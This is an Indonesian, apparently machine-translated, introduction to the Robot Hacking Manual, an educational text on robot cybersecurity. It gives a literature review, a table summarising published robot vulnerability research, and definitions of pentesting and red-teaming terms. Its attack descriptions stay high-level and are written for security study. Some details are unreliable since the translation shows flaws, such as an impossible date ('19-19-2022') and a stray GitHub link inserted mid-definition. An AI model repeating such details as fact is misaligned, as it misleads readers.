Robotika Keamanan Siber
Konten yang disediakan di sini murni bersifat edukatif, tidak diedit, tidak terkait dengan lembaga, kelompok, atau perusahaan mana pun, dan dikembangkan selama waktu luang saya. Gunakan dengan hati-hati .
Rumah Buku petunjuk Sumber daya Kontak Masuk Mendaftar
RHM0.5 : Panduan Peretasan Robot
Dari robotika hingga keamanan siber . Makalah, catatan, dan tulisan dari perjalanan menuju keamanan siber robot
Saya sama sekali tidak ingin mendukung atau mendukung perusakan sistem robotik atau teknologi terkait yang tidak sah. Hal ini dapat menyebabkan bahaya serius bagi manusia dan kerusakan material .
Sejarah
Proyek ini dimulai pada awal tahun 2018 oleh Víctor Mayoral-Vilches sebagai serangkaian penulisan independen berbasis Markdown dan Docker dan kini telah menyatu menjadi sebuah manual yang diharapkan dapat membantu orang lain memasuki bidang keamanan siber robot.
Motivasi
Robot sering kali dikirim dalam kondisi tidak aman dan dalam beberapa kasus sama sekali tidak terlindungi. Alasan di baliknya ada empat: pertama, mekanisme keamanan defensif untuk robot masih dalam tahap awal, belum mencakup lanskap ancaman yang lengkap. Kedua, kompleksitas inheren sistem robotik membuat perlindungannya mahal, baik secara teknis maupun ekonomis. Ketiga, vendor robot umumnya tidak bertanggung jawab tepat waktu, memperpanjang jendela paparan zero-day (waktu hingga mitigasi zero-day) hingga beberapa tahun rata-rata. Keempat, bertentangan dengan ekspektasi akal sehat di abad ke-21 dan mirip dengan Ford pada tahun 1920-an dengan mobil, sebagian besar produsen robot menentang atau mempersulit perbaikan robot. Mereka menggunakan praktik keusangan terencana untuk mencegah perbaikan dan menghindari persaingan.
Keamanan siber dalam robotika sangat penting. Terutama mengingat bahaya keselamatan yang muncul pada robot ( #nosafetywithoutsecurity dalam robotika). Setelah mengamati selama beberapa tahun bagaimana beberapa produsen terus meneruskan masalah ini kepada pengguna akhir mesin ini (klien mereka), panduan ini bertujuan untuk memberdayakan tim robotika dan praktisi keamanan dengan pengetahuan yang tepat untuk mengamankan robot dari perspektif ofensif.
Pendekatan yang terkontainerisasi
Robotika adalah seni integrasi sistem. Ini adalah bidang yang sangat berorientasi pada rekayasa, di mana reproduksi hasil secara sistematis adalah kunci untuk mitigasi kelemahan keamanan. Kontainer Docker digunakan secara luas di seluruh manual saat menyajikan PoC untuk memastikan bahwa praktisi memiliki lingkungan pengembangan yang umum, konsisten, dan mudah direproduksi. Ini memfasilitasi proses keamanan dan kolaborasi lintas tim.
Berkontribusi kembali
Konten dibuat dengan lisensi terbuka dan ramah komersial sehingga Anda dapat menggunakannya tanpa perlu meminta izin sama sekali. Jangan mengeluh . Jika Anda memiliki saran, atau merasa dapat memberikan nilai tambah pada konten yang ada, buatlah Issue atau Pull Request . Jika memungkinkan, berikan kontribusi.
Versi PDF
Unduh RHM v0.5.
Versi PDF dibuat untuk setiap rilis. Lihat semua rilis di sini :
RHM v0.5
RHM v0.4
RHM v0.3
Perkenalan
Robot Hacking Manual ( RHM) adalah seri pengantar tentang keamanan siber untuk robot, dengan upaya untuk memberikan studi kasus yang komprehensif dan tutorial langkah demi langkah dengan tujuan untuk meningkatkan kesadaran di lapangan dan menyoroti pentingnya mengambil tindakan keamanan terlebih dahulu.Baca tentang pendekatan yang mengutamakan keamanan di sini .
pendekatan. Materi yang tersedia di sini juga merupakan upaya pembelajaran pribadi dan tidak terkait dengan organisasi tertentu. Konten disediakan sebagaimana adanya dan saya sama sekali tidak menganjurkan atau mendukung perusakan sistem robotik atau teknologi terkait yang tidak sah .
Tentang keamanan siber robot
Selama lima puluh tahun terakhir, kita telah menyaksikan dimulainya industri robotika, tetapi robot tidak diciptakan dengan mengutamakan keamanan, yang sering kali merupakan indikator teknologi yang masih perlu dikembangkan. Keamanan dalam robotika sering kali disalahartikan dengan keselamatan. Dari robot industri hingga robot konsumen, hingga robot profesional, sebagian besar mesin ini tidak tahan terhadap serangan keamanan. Kekhawatiran produsen, serta standar yang ada, terutama berfokus pada keselamatan. Keamanan tidak dianggap sebagai masalah utama yang relevan.
Integrasi antara kedua area ini dari perspektif penilaian risiko pertama kali dipelajari oleh Stoneburner ( 2006 ) dan kemudian dibahas oleh Alzola-Kirschgens et al. ( 2018 ) yang menghasilkan kerangka kerja risiko keamanan dan keselamatan yang terpadu. Umumnya, keselamatan robotika dipahami sebagai pengembangan mekanisme perlindungan terhadap kecelakaan atau malfungsi, sementara keamanan ditujukan untuk melindungi sistem terhadap risiko yang ditimbulkan oleh aktor jahat Swinscow-Hall ( 2017 ) . Pandangan yang sedikit alternatif adalah yang menganggap keselamatan sebagai melindungi lingkungan dari robot tertentu, sedangkan keamanan adalah tentang melindungi robot dari lingkungan tertentu . Dalam manual ini kami mengadopsi yang terakhir dan merujuk pembaca ke https://cybersecurityrobotics.net/quality-safety-security-robotics/ untuk tinjauan pustaka yang lebih rinci yang memperkenalkan perbedaan dan korelasi antara keselamatan, keamanan, dan kualitas dalam robotika.
Keamanan bukanlah sebuah produk, tetapi sebuah proses yang perlu terus dinilai secara berkala, seiring dengan berkembangnya sistem dan ditemukannya ancaman siber baru. Hal ini menjadi relevan khususnya dengan meningkatnya kompleksitas sistem tersebut sebagaimana ditunjukkan oleh Bozic dan Wotawa ( 2017 ) . Sistem robotika saat ini memiliki kompleksitas yang tinggi, suatu kondisi yang dalam banyak kasus menyebabkan permukaan serangan yang luas dan berbagai vektor serangan potensial yang mempersulit penggunaan pendekatan tradisional.
Sistem robotik dan robot Baik literatur maupun praktik sering kali tidak jelas saat menggunakan istilah robot/s dan/atau robotic system/s. Terkadang istilah-istilah ini digunakan untuk merujuk ke salah satu komponen robot (misalnya robot adalah mekanik lengan robot sementara HMI-nya adalah teach pendant ). Di waktu lain, istilah-istilah ini digunakan untuk merujuk ke robot lengkap, termasuk semua komponennya, terlepas dari apakah mereka didistribusikan atau dirakit ke dalam badan yang sama. Di seluruh manual ini yang terakhir diadopsi dan kecuali dinyatakan lain, istilah robot/s dan/atau robotic system/s akan digunakan secara bergantian untuk merujuk ke sistem robotik lengkap, termasuk semua komponennya.
Kutip karya ini
@article{mayoral2022robot,
title={Robot Hacking Manual (RHM)},
author={Mayoral-Vilches, V{\'\i}ctor},
journal={arXiv preprint arXiv:2203.04765},
year={2022}
}
Tinjauan Literatur
Dapat dikatakan, pemasangan pertama sistem siber-fisik di pabrik manufaktur dilakukan pada tahun 1962 oleh Robinson ( 2014 ) . Kematian manusia pertama yang disebabkan oleh sistem robotik dapat ditelusuri kembali ke tahun 1979 oleh Young ( 2018 ) dan penyebabnya terkait dengan keselamatan menurut laporan. Sejak saat itu, serangkaian tindakan yang melibatkan lembaga dan perusahaan dipicu untuk melindungi manusia dan lingkungan dari mesin ini, yang mengarah pada standar keselamatan.
Keamanan, bagaimanapun, belum mulai ditangani dalam robotika hingga baru-baru ini. Menyusul penilaian awal McClean et al. ( 2013 ) , dalam salah satu artikel pertama yang diterbitkan tentang topik tersebut , Francisco Javier Rodrıguez Lera, Matellán, et al. ( 2016 ) telah memperingatkan tentang bahaya keamanan dari Sistem Operasi Robot (ROS) Quigley, Conley, et al. ( 2009 ) . Menyusul publikasi ini, kelompok yang sama di Spanyol menulis serangkaian artikel yang menyentuh keamanan siber robot ( Francisco Javier Rodrıguez Lera, Balsa, et al. 2016 ; Francisco J. Rodrı́guez Lera et al. 2017 ; Guerrero-Higueras et al. 2017 ; Balsa-Comerón et al. 2017 ; Rodrı́guez-Lera et al. 2018 ) . Sekitar periode waktu yang sama, Dieber et al. ( 2016 ) memimpin serangkaian publikasi yang meneliti keamanan siber dalam robotika yang mengusulkan cetak biru defensif untuk robot yang dibangun di sekitar ROS ( Dieber et al. 2017 ; Dieber, Schlotzhauer, dan Brandstötter 2017 ; Breiling, Dieber, dan Schartner 2017 ; Taurer, Dieber, dan Schartner 2018 ; Dieber dan Breiling 2019 ) . Pekerjaan mereka memperkenalkan tambahan pada API ROS untuk mendukung kriptografi dan tindakan keamanan modern. Kontemporer dengan karya Dieber et al. ( 2016 ) , White et al. ( 2016 ) juga mulai menyampaikan serangkaian artikel ( Caiazza 2017 ; White et al. 2018 ; White, Caiazza, Christensen, et al. 2019 ; Caiazza, White, dan Cortesi 2019 ; White, Caiazza, Jiang, et al. 2019 ; White, Caiazza, Cortesi, et al. 2019 ) mengusulkan mekanisme pertahanan untuk ROS.
Lebih dari setahun setelah itu, mulai tahun 2018, kita dapat mengamati bagaimana lebih banyak kelompok mulai menunjukkan minat pada bidang ini dan berkontribusi. Vı́ctor Mayoral-Vilches, Kirschgens, Calvo, dkk. ( 2018 ) memprakarsai serangkaian upaya penelitian keamanan yang mencoba mendefinisikan cetak biru dan metodologi keamanan ofensif dalam robotika yang menghasilkan berbagai kontribusi ( Vı́ctor Mayoral-Vilches, Kirschgens, Gil-Uriarte, dkk. 2018 ; Alzola-Kirschgens dkk. 2018 ; Vı́ctor Mayoral-Vilches, Mendia, dkk. 2018 ; Vı́ctor Mayoral-Vilches, Abad-Fernández, et al. 2020 ; Vı́ctor Mayoral-Vilches, Pinzger, et al. 2020 ; LaCava et al. 2020 ; Vı́ctor Mayoral-Vilches, Garcı́a-Maestro, dkk. 2020 ; Vı́ctor walikota-vilches, carbajo, dan Gil-Uriarte 2020 ) . Yang paling menonjol, kelompok ini merilis ke publik sebuah kerangka kerja untuk melakukan penilaian keamanan dalam robotika Vı́ctor Mayoral-Vilches, Kirschgens, Calvo, dkk. ( 2018 ) , sebuah mekanisme penilaian kerentanan untuk robot Mayoral Vilches dkk. ( 2018 ) , sebuah lingkungan Capture-The-Flag robotika untuk robotika tempat untuk mempelajari cara melatih teknisi keamanan siber robot Mendia dkk. ( 2018 ) atau basis data kerentanan khusus robot yang dapat digunakan pihak ketiga untuk melacak lanskap ancaman mereka Vı́ctor Mayoral-Vilches, Usategui San Juan, dkk. ( 2019 ) , antara lain. Pada tahun 2021, Zhu dkk. ( 2021a ) menerbitkan pengantar komprehensif tentang topik yang baru muncul ini untuk para ahli teori dan praktisi yang bekerja di lapangan untuk membina sub-komunitas dalam robotika dan memungkinkan lebih banyak kontributor untuk menjadi bagian dari upaya keamanan siber robot.
Peretasan robot
Daftar penelitian keamanan siber dalam robotika yang tidak lengkap yang berisi berbagai kerentanan dan serangan robot terkait karena masalah keamanan siber.
👹 Nama kode/tema 🤖 Teknologi robotika terpengaruh 👨🔬 Peneliti 📖 Deskripsi 📅 Tanggal
Robot penyedot debu seri Roomba J7 dari iRobot Tidak tersedia Bahasa Indonesia: Foto-foto pribadi di lingkungan rumah ditemukan di Internet yang diambil oleh robot penyedot debu seri Roomba J7 milik iRobot. Foto-foto tersebut bervariasi dalam jenis dan sensitivitas. Gambar paling intim yang kami lihat adalah serangkaian gambar diam video yang menampilkan wanita muda di toilet, wajahnya terhalang di gambar utama tetapi tidak terhalang dalam gulungan gambar buram di bawahnya. Di gambar lain, seorang anak laki-laki yang tampaknya berusia delapan atau sembilan tahun, dan yang wajahnya terlihat jelas, tergeletak di perutnya di lantai lorong. Sejumput rambut segitiga tumpah di dahinya saat dia menatap, dengan geli, pada objek yang merekamnya dari tepat di bawah ketinggian mata. Berbagai gambar rumah lainnya yang menandai objek di lingkungan tersebut ditemukan. Tanggal: 19-19-2022
Go1 dari Unitree d0tslash (MAVProxyUser di GitHub) Seorang peretas menemukan tombol pemutus untuk robot berkaki yang membawa senjata. Peretasan itu sendiri memanfaatkan fungsi/teknologi tombol pemutus yang terdapat di semua unit robot dan mendengarkan sinyal tertentu pada 433Mhz. Saat mendengar sinyal tersebut, robot mati. d0tslash menggunakan alat multifungsi portabel untuk pentester ( Flipper Zero ) untuk menirukan matinya robot, menyalin sinyal yang disiarkan dari jarak jauh oleh anjing robot melalui frekuensi 433MHz. Tanggal: 09-08-2022
milik EnabotEbo Air Modus Peneliti dari Modux menemukan kelemahan keamanan pada #robot Enabot Ebo Air dan secara bertanggung jawab mengungkapkan temuan mereka. Vektor serangan dapat mengarah ke unit mata-mata robot yang dikendalikan dari jarak jauh . Titik masuk utama tampaknya adalah kata sandi administrator sistem yang dikodekan secara keras yang lemah dan digunakan bersama oleh semua robot ini. Peneliti juga menemukan masalah pengungkapan informasi yang dapat menyebabkan penyerang mencuri data dari rumah (misalnya kata sandi WiFi rumah) yang kemudian dapat digunakan untuk masuk ke perangkat lain melalui jaringan lokal. Tanggal 21-07-2022
Menganalisis Protokol Layanan Distribusi Data (DDS) untuk Industri Penting ROS 2, CycloneDDS milik eProsimaFast-DDS , OCI , ADLINK ( sekarang ZettaScale )OpenDDS , ConnextDDS milik RTI , GurumDDS milik Gurum Networks , dan CoreDX DDS milik Twin Oaks Computing Ta-Lun Yen , Federico Maggi , Víctor Mayoral-Vilches , Erik Boasson dkk. ( bermacam-macam ) Penelitian ini meneliti standar OMG Data Distribution Service (DDS) dan implementasinya dari sudut pandang keamanan. Ditemukan 12 ID CVE 🆘, teridentifikasi 1 kerentanan tingkat spesifikasi 💻, dan dianalisis 6 implementasi DDS (3 sumber terbuka, 3 hak milik). Hasilnya menunjukkan bahwa mekanisme keamanan DDS tidak aman dan diperlukan banyak upaya di sisi ini untuk melindungi sistem industri dan militer sensitif yang didukung oleh middleware komunikasi ini. Kelompok peneliti mendeteksi bahwa masalah keamanan ini ada di hampir 650 perangkat berbeda yang terekspos di Internet, di 34 negara dan memengaruhi 100 organisasi melalui 89 Penyedia Layanan Internet (ISP). Tanggal: 19-04-2022
Meretas ROS 2, Sistem Operasi Robot ROS 2 Víctor Mayoral-Vilches dkk. ( bermacam-macam ) Tim peneliti keamanan yang dipimpin oleh firma Spanyol Alias Robotics yang berfokus pada robotika menemukan berbagai kerentanan keamanan yang menyebabkan Robot Operating System 2 (ROS 2) dikompromikan melalui middleware komunikasi yang mendasarinya (middleware komunikasi DDS). Para peneliti menunjukkan cara membedah komunikasi ROS 2 dan melakukan pengintaian ROS 2, penolakan layanan jaringan ROS 2 melalui serangan refleksi, dan crash ROS 2 (Node) dengan memanfaatkan luapan memori yang dapat menyebabkan eksekusi kode arbitrer dari jarak jauh. Untuk mengurangi kerentanan keamanan ini, Alias Robotics berkontribusi pada berbagai alat sumber terbuka termasuk SROS2 dengan serangkaian ekstensi alat pengembang yang membantu mendeteksi beberapa ketidakamanan ini di ROS 2 dan DDS. Pemilik komunitas ROS 2 , Open Robotics, tidak menindaklanjuti hasil atau kontribusi ini dan mengabaikan relevansinya secara keseluruhan, mengesampingkan tanggung jawab keamanan. Tanggal: 22-04-2022
Bot Jekyll:5 Robot pintar Aethon TUG ( berbagai ) Sinerio JekyllBot:5 adalah kumpulan lima kerentanan zero-day kritis yang memungkinkan kendali jarak jauh robot seluler otonom cerdas Aethon TUG dan konsol daringnya, perangkat yang semakin banyak digunakan untuk pengiriman di rumah sakit global. Detail teknologi selengkapnya tentang temuan keamanan di . Tanggal: 01-04-2022
Robot Teardown, melucuti robot industri untuk selamanya Robot Universal UR3, UR5, UR10, UR3e, UR5e, UR10edanUR16e Víctor Mayoral-Vilches dkk. ( bermacam-macam ) Penelitian yang dipimpin oleh Alias Robotics ini memperkenalkan dan menganjurkan pembongkaran robot sebagai pendekatan untuk mempelajari arsitektur perangkat keras robot dan mendorong penelitian keamanan. Peneliti keamanan menunjukkan bagaimana pembongkaran dapat membantu memahami perangkat keras yang mendasarinya untuk mengungkap kerentanan keamanan. Kelompok tersebut menunjukkan bagaimana pembongkaran robot membantu mengungkap lebih dari 100 kelemahan keamanan dengan 17 ID CVE baru yang diberikan selama periode dua tahun. Kelompok tersebut juga menunjukkan bagaimana berbagai produsen robot menggunakan berbagai praktik keusangan terencana dan bagaimana melalui pembongkaran, keterbatasan perangkat keras keusangan terencana dapat diidentifikasi dan dilewati untuk memperoleh kendali penuh atas perangkat keras dan mengembalikannya kepada pengguna, yang menimbulkan peluang untuk mengklaim hak untuk memperbaiki sekaligus ancaman bagi berbagai model bisnis produsen robot. Tanggal: 20-07-2021
Otomatisasi Nakal ( berbagai bahasa/kerangka kerja pemrograman robotik ) ABB Rapid, Comau PDL2, Denso PacScript, Fanuc Karel, Kawasaki AS, Kuka KRL, Mitsubishi Melfa, dan Universal RobotsURScript Federico Maggi , Marcello Pogliani ( berbagai macam ) Penelitian ini mengungkap berbagai risiko tersembunyi dari bahasa pemrograman dan kerangka kerja otomasi industri yang digunakan dalam robot dari ABB, Comau, Denso, Fanuc, Kawasaki, Kuka, Mitsubishi, dan Universal Robots. Analisis keamanan yang dilakukan di sini mengungkap kelemahan kritis di seluruh teknologi ini dan dampaknya terhadap pabrik pintar. Tanggal: 01-08-2020
Mengamankan robot desinfeksi di masa COVID-19 Robot UVD UVD Robot® Model B,UVD Robot® Model A Víctor Mayoral-Vilches dkk. ( Alias Robotika ) Robot yang digunakan di banyak pusat medis untuk melawan COVID-19 untuk tugas disinfeksi ditemukan rentan terhadap berbagai kerentanan yang dilaporkan sebelumnya (lihat ) saat menggunakan sinar Ultraviolet (UV), yang dapat memengaruhi manusia yang menyebabkan kulit terbakar, terbakar matahari, atau bahkan dilaporkan meningkatkan risiko kanker kulit, antara lain. Tim di Alias Robotics mengonfirmasi masalah ini secara eksperimental dan menemukan banyak dari robot ini tidak aman, dengan banyak kelemahan keamanan yang belum ditambal dan mudah diakses di tempat umum. Hal ini mendorong mereka untuk mengembangkan mitigasi untuk kelemahan keamanan yang luar biasa ini dan menawarkan lisensi gratis untuk perbaikan tersebut ke rumah sakit dan industri selama pandemi. Tanggal: 19-09-2020
Minggu bug Robot Industri Seluler Robot Industri Seluler MiR100, MiR200, MiR250, MiR500, MiR600, MiR1000, MiR1350, Robotika Mudah ER200, Robotika Berkemampuan ER-FLEX, ER-LITE, ER-ONE, Robot UVD UVD Robot® Model B,UVD Robot® Model A Víctor Mayoral-Vilches dkk. ( Alias Robotika ) Setelah mengidentifikasi masalah keamanan awal yang relevan, setelah berbulan-bulan interaksi yang gagal dengan produsen robot Mobile Industrial Robots (MiR) saat mencoba membantu mengamankan robot mereka, dengan pengungkapan ini, Alias Robotics memutuskan untuk memberdayakan pengguna akhir Mobile Industrial Robots dengan informasi. Pengungkapan tersebut mencakup upaya peretasan selama seminggu yang diakhiri dengan rilis publik 14 kerentanan keamanan siber yang memengaruhi robot industri MiR dan produsen hilir lainnya, yang berdampak pada ribuan robot. Lebih dari 10 jenis robot yang berbeda terpengaruh saat beroperasi di seluruh ruang industri dan hingga ke lingkungan publik, seperti bandara dan rumah sakit. 11 ID CVE baru ditetapkan sebagai bagian dari upaya ini Tanggal: 24-06-2020
Serangan terhadap Sistem Manufaktur Cerdas MitsubishiMelfa V-2AJ Federico Maggi , Marcello Pogliani ( berbagai macam ) Analisis keamanan sistematis yang mengeksplorasi berbagai vektor serangan pada sistem manufaktur pintar yang nyata, menilai serangan yang dapat diluncurkan secara layak pada sistem manufaktur pintar yang kompleks Tanggal: 01-05-2020
Minggu bug Universal Robots Robot Universal UR3, UR5, UR10, UR3e, UR5e, UR10edanUR16e Víctor Mayoral-Vilches dkk. ( Alias Robotika ) Selama bertahun-tahun Universal Robots tidak peduli atau menanggapi masalah keamanan siber dengan produk mereka. Termotivasi oleh sikap ini, tim Alias Robotics meluncurkan inisiatif untuk memberdayakan pengguna akhir, distributor, dan integrator sistem Universal Robots dengan informasi yang sangat mereka butuhkan untuk memanfaatkan teknologi ini dengan aman. Upaya ini disebut sebagai minggu bug Universal Robots dan secara total, lebih dari 80 masalah keamanan dilaporkan dalam robot Universal Robots. Tanggal 31-03-2020
Akerbeltz: Ransomware robot industri Robot Universal' UR3, UR5,UR10 Víctor Mayoral-Vilches dkk. ( Alias Robotika ) Dalam upaya untuk meningkatkan kesadaran dan menggambarkan "ketidakamanan berdasarkan rancangan dalam robotika" , tim di Alias Robotics menciptakan Akerbeltz , contoh pertama yang diketahui dari ransomware robot industri. Malware tersebut didemonstrasikan menggunakan robot UR3 dari merek terkemuka untuk robot kolaboratif industri, Universal Robots. Tim peneliti membahas alur umum serangan termasuk intrusi siber awal, gerakan lateral, dan fase kontrol selanjutnya. Tanggal 16-12-2019
Robot Nakal IRB140 dari ABB Federico Maggi , Davide Quarta dkk. ( bermacam-macam ) Menjelajahi secara teoritis dan eksperimental tantangan dan dampak keamanan robot industri modern. Peneliti juga mensimulasikan keseluruhan algoritma serangan dari titik masuk hingga infiltrasi dan kompromi untuk menunjukkan bagaimana penyerang akan memanfaatkan kerentanan yang ada untuk melakukan berbagai serangan. Tanggal: 01-05-2017
Peretasan Robot Sebelum Skynet SoftBank Robotics NAOdan Pepper, UBTECH Robotics Alpha 1Sdan Alpha 2, ROBOTIS OP2dan THORMANG3, Universal Robots UR3, UR5, UR10, Rethink Robotics Baxterdan Sawyerdan beberapa robot dari Asratec Corp. Lucas Apa dan César Cerrudo ( IOActive ) Menemukan masalah keamanan siber kritis pada beberapa robot dari berbagai vendor yang mengisyaratkan kurangnya perhatian dan kesadaran keamanan dalam robotika. Tanggal 30 Januari 2017
Sistem Operasi Robot (ROS): Aman & Tidak Aman ROS Lubomir Stroetmann ( softSCheck ) Ini adalah salah satu studi paling awal yang menyentuh ROS dan menawarkan wawasan keamanan dan contoh tentang kurangnya pertimbangan keamanan dalam ROS dan permukaan serangan yang luas yang diekspos olehnya. Penulis mengisyaratkan bahwa dengan ROS, mekanisme perlindungan bergantung pada keahlian (keamanan) pengguna, yang bukan merupakan asumsi yang baik dalam komunitas robotika yang belum matang dalam hal keamanan. Selain itu, penulis mengisyaratkan tentang berbagai kerentanan yang mudah dieksploitasi karena adopsi XMLRPC dalam infrastruktur penyampaian pesan ROS termasuk berbagai serangan bom XML (misalnya "billion laughs") Tanggal 28-02-2014
Terminologi
Robot pengintai
Pengintaian adalah tindakan mengumpulkan data awal atau intelijen tentang target Anda. Data tersebut dikumpulkan untuk merencanakan serangan dengan lebih baik. Pengintaian dapat dilakukan secara aktif (artinya Anda menyentuh target secara langsung) atau pasif (artinya pengintaian Anda dilakukan melalui perantara).
Jejak kaki robot
Footprinting (juga dikenal sebagai pengintaian ) adalah teknik yang digunakan untuk mengumpulkan informasi tentang sistem digital dan entitas tempat sistem tersebut berada.
Pemodelan Ancaman Robot
Pemodelan ancaman adalah penggunaan abstraksi untuk membantu dalam memikirkan risiko. Keluaran dari aktivitas ini sering disebut sebagai model ancaman. Secara umum, model ancaman menghitung penyerang potensial, kemampuan dan sumber daya mereka, serta target yang dituju. Dalam konteks keamanan siber robot, model ancaman mengidentifikasi ancaman keamanan yang berlaku pada robot dan/atau komponennya (baik perangkat lunak maupun perangkat keras) sekaligus menyediakan cara untuk mengatasi atau menguranginya dalam konteks kasus penggunaan.
Model ancaman merupakan kunci bagi pertahanan keamanan yang terfokus dan secara umum menjawab pertanyaan-pertanyaan berikut: - Apa yang tengah Anda bangun? - Apa yang bisa salah (dari sudut pandang keamanan)? - Apa yang harus Anda lakukan terhadap hal-hal yang bisa salah tersebut? - Apakah Anda sudah menganalisis sistem dengan baik?
Identifikasi bug & kerentanan
Analisis statis
Analisis statis berarti memeriksa kode untuk mencari kesalahan. Analisis statis menggunakan program (bukan manusia) untuk memeriksa kode guna mencari kesalahan.
Analisis dinamis
Analisis dinamis, yang biasanya disebut “pengujian”, berarti mengeksekusi kode sambil mencari kesalahan dan kegagalan.
Mengaburkan
Secara formal merupakan subkelas pengujian dinamis, tetapi kami pisahkan demi kenyamanan, pengujian fuzzing atau fuzz berarti menguji keamanan perangkat lunak robotik Anda dengan cara pseudo-otomatis yang menyediakan data tidak valid atau acak sebagai masukan jika memungkinkan, dan mencari perilaku yang tidak lazim.
Analisis dinamis (pembersih)
Sanitizer adalah alat pencarian bug yang dinamis. Sanitizer menganalisis satu eksekusi program dan mengeluarkan hasil analisis yang akurat dan berlaku untuk eksekusi tertentu tersebut.
Detail lebih lanjut tentang pembersih
Eksploitasi robot
Eksploitasi exploitadalah bagian dari perangkat lunak, sekumpulan data, atau serangkaian perintah yang memanfaatkan bug atau kerentanan untuk menyebabkan perilaku yang tidak diinginkan atau tidak diantisipasi terjadi pada perangkat lunak, perangkat keras, atau sesuatu yang bersifat elektronik (biasanya terkomputerisasi). Eksploitasi adalah seni memanfaatkan kerentanan.
Pengujian penetrasi robot (RPT)
Pengujian Penetrasi Robot ( robot pentesting atau RPT) adalah aktivitas ofensif yang berupaya menemukan sebanyak mungkin kerentanan robot untuk menilai risiko dan memprioritaskannya. Serangan yang relevan dilakukan pada robot untuk mengonfirmasi kerentanan. Latihan ini efektif dalam memberikan daftar kerentanan yang menyeluruh, dan idealnya harus dilakukan sebelum mengirimkan produk, dan secara berkala setelahnya.
Singkatnya, pengujian penetrasi robot memungkinkan Anda memperoleh masukan yang realistis dan praktis tentang seberapa rentannya robot Anda dalam suatu cakupan. Sekelompok peneliti keamanan kemudian akan menguji keamanan teknologi robot, menemukan sebanyak mungkin kerentanan, dan mengembangkan eksploitasi untuk memanfaatkannya.
Lihat Dieber et al. ( 2020 ) untuk contoh yang diterapkan pada sistem ROS.
Robot tim merah (RRT)
Robot red teaming merupakan latihan keamanan siber ofensif yang terarah, cocok untuk kasus penggunaan yang telah terpapar kelemahan keamanan dan yang tujuannya adalah untuk memenuhi tujuan tertentu (sasaran penyerang). Sementara pengujian penetrasi robot jauh lebih efektif dalam menyediakan daftar lengkap kerentanan dan perbaikan yang harus dilakukan, penilaian red team memberikan ukuran yang lebih akurat tentang kesiapan teknologi tertentu untuk tetap tangguh terhadap serangan siber.
Secara keseluruhan, kerja sama tim robot merah mencakup simulasi serangan ofensif bertarget (dengan tujuan spesifik) berskala penuh dan berlapis yang dirancang untuk mengukur seberapa baik teknologi robotik Anda dapat menahan serangan.
Robot merah bekerja sama
Lainnya
Forensik robot
Forensik robot mengusulkan sejumlah uji dan metode ilmiah untuk memperoleh, menyimpan, dan mendokumentasikan bukti dari kejahatan yang melibatkan robot. Secara khusus, forensik robot berfokus pada pemulihan data dari sistem robot untuk menentukan siapa yang melakukan kejahatan.
Ulasan https://github.com/Cugu/awesome-forensics.
Robot membalikkan
Rekayasa balik perangkat lunak (atau pembalikan ) adalah proses mengekstraksi pengetahuan atau cetak biru desain dari perangkat lunak apa pun. Bila diterapkan pada robotika, pembalikan robot dapat dipahami sebagai proses mengekstraksi informasi tentang elemen desain dalam sistem robotika.
Membandingkan keamanan siber robot dengan IT, OT, dan IoT
Keamanan sering didefinisikan sebagai keadaan bebas dari bahaya atau ancaman. Namun, apa artinya ini dalam praktik? Apa yang dimaksud dengan bebas dari bahaya ? Apakah sama dalam sistem perusahaan dan industri? Jawaban singkatnya: tidak. Ada beberapa alasan, tetapi yang terpenting adalah bahwa arsitektur teknologi yang mendasari untuk masing-masing lingkungan ini, meskipun memiliki bagian teknis yang sama, sangat berbeda yang mengarah pada interpretasi yang berbeda tentang apa yang dibutuhkan keamanan (sekali lagi, bebas dari bahaya dan ancaman ).
Bagian ini menganalisis beberapa aspek keamanan siber yang berlaku di berbagai domain termasuk IT, OT, IoT atau robotika dan membandingkannya. Secara khusus, artikel ini berfokus pada klarifikasi tentang perbedaan robotika dari bidang teknologi lainnya dan bagaimana kurangnya kejelasan menyebabkan pengguna sangat tidak terlindungi dari serangan siber. Pada akhirnya, artikel ini membahas tentang mengapa keamanan siber dalam robotika akan lebih penting daripada teknologi lainnya karena implikasi keselamatannya, termasuk IT, OT atau bahkan IoT.
Memperkenalkan beberapa istilah umum
Selama bertahun-tahun, kata-kata tambahan telah dikembangkan untuk menentukan keamanan untuk konteks yang berbeda. Secara umum, dan dari bacaan saya, kita biasanya menyebut keamanan siber (atau keamanan siber, disingkat menjadi "keamanan") sebagai keadaan sistem tertentu yang bebas dari bahaya siber atau ancaman siber, baik digital maupun digital. Seperti yang ditunjukkan, kita sering mencampur "keamanan" yang terkait dengan istilah yang lebih lanjut menentukan domain aplikasi, misalnya kita sering mendengar hal-hal seperti IT securityatau OT security.
Perbandingan IT, OT, IoT dan robot
Perbandingan IT, OT, IoT dan robot
Selama dua tahun terakhir, saat membaca, belajar, menghadiri konferensi keamanan dan berpartisipasi di dalamnya, saya melihat bagaimana baik praktisi keamanan maupun produsen yang peduli terhadap keamanan tidak membedakan dengan jelas antara IT, OT, IoTatau robotics. Selain itu, perbandingan antara ITdan sering menjadi topik perdebatan IT security. Definisi berikut bertujuan untuk menjelaskan topik umum ini:
Teknologi Informasi (TI) : penggunaan komputer untuk menyimpan, mengambil, mengirimkan, dan memanipulasi data atau informasi di seluruh dan antar organisasiPaket TB3 ROS 2 https://github.com/ROBOTIS-GIT/turtlebot3/tree/ros2
.
Teknologi Operasional (OT) : teknologi yang mengelola operasi industri dengan memantau dan mengendalikan perangkat dan proses tertentu dalam alur kerja dan operasi industri, berbeda dengan operasi administratif (IT). Istilah ini sangat erat kaitannya dengan:
Sistem Kontrol Industri (ICS) : merupakan segmen utama dalam sektor OT yang mencakup sistem yang digunakan untuk memantau dan mengendalikan proses industri. ICS merupakan istilah umum yang mencakup beberapa jenis sistem kontrol (misalnya SCADA, DCS) dalam industri dan dapat dipahami sebagai bagian dari OT.
Internet of the Things (IoT) : perluasan Internet dan koneksi jaringan lain ke berbagai sensor dan perangkat — atau “benda” — yang memberikan kemampuan komputasi dan analisis tingkat tinggi bahkan untuk objek sederhana, seperti bola lampu, kunci, dan ventilasi. IoT dapat dipahami sebagai perluasan Internet dan koneksi jaringan lain ke berbagai sensor dan perangkat.
Industrial Internet of the Things (IIoT) : mengacu pada perluasan dan penggunaan Internet of Things (IoT) di sektor dan aplikasi industri.
